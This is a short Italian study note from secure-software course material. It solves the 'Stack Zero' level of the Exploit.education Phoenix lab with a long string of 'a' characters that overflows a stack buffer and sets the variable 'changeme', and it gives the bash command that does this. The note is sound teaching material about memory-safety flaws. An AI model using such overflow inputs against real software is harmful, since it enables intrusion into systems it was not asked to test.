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appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md
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# [Stack Zero](https://exploit.education/phoenix/stack-zero/)
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` come input.
L'ultima `a` manda `buffer` in overflow, impostando il valore di `changeme` ad `'a'`, ovvero `97`.
## Soluzione
```bash
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | ./stack-zero
```